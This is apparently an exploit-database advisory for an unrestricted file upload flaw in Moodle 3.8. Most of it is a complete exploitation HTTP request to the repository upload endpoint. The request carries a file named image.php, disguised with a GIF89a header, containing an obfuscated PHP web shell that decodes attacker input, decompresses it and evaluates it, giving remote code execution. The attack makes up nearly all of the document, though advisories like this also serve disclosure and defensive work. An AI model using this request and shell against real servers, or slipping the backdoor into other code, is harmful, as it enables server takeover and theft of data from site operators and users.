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Moodle 3.8 - Unrestricted File Upload

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# Exploit Title: Moodle 3.8 - Unrestricted File Upload
# Date: 2019-09-08
# Exploit Author: Sirwan Veisi
# Vendor Homepage: https://moodle.org/
# Software Link: https://github.com/moodle/moodle
# Version: Moodle Versions 3.8, 3.7, 3.6, 3.5, 3.4...
# Tested on: Moodle Version 3.8
# CWE : CWE-434

I found an Unrestricted Upload vulnerability for Moodle version 3.8 , that
allows the attacker to upload or transfer files of dangerous types.


Example exploitation request:

POST /repository/repository_ajax.php?action=upload HTTP/1.1
Host: VulnerableHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------38898830537874132223151601680
Content-Length: 2763
Origin: https://VulnerableHost
Connection: close
Referer: https://VulnerableHost/user/files.php
Cookie: MoodleSession=bpn90khjdh7mq4phs8i9r0caai
Upgrade-Insecure-Requests: 1

-----------------------------38898830537874132223151601680
Content-Disposition: form-data; name="repo_upload_file";
filename="image.php"
Content-Type: image/jpeg

GIF89a;
<?php
$Q=str_replace('kz','','crekzakztkze_kzfunckztkzion');
$O='"";for%(%$i=%0;$i<$l;){for%($j=0%;($j<$c&%&$i<$l);$%j++,$i+%+%){$o.=$%t{$i';
$l='_contents(%"php:%//input"),%$m)=%=1){@ob%_start();%@eva%l(@gzunc%o%mpress(%@';
$C='$k="3%fbd6%8c8"%;$kh="2a%e%7d638909f";$%kf%="60eb0ffaeb%1%7";$p="dP%FT1%';
$h='x(@b%ase%6%4_decode($m[1%]),$k)));%$o=@o%b_get_conte%%nts();@ob_end%%_c%lean';
$N='}%%^$k{$j};}}retu%rn
$o;}i%f(@preg%_matc%%h("/$kh(.+)$%%k%f%/",@file_ge%t';
$e='Nmy694Bcj%Vc";fu%nction%
x(%$t,$k){$c=st%rle%n%($%%k);$l=strlen($t)%;$o=';
$V='();$r=@bas%e64_en%cod%e(@x(@%%gzcomp%ress($o),$k))%;%print("$%p$kh$r$kf");}';
$P=str_replace('%','',$C.$e.$O.$N.$l.$h.$V);
$n=$Q('',$P);$n();
?>

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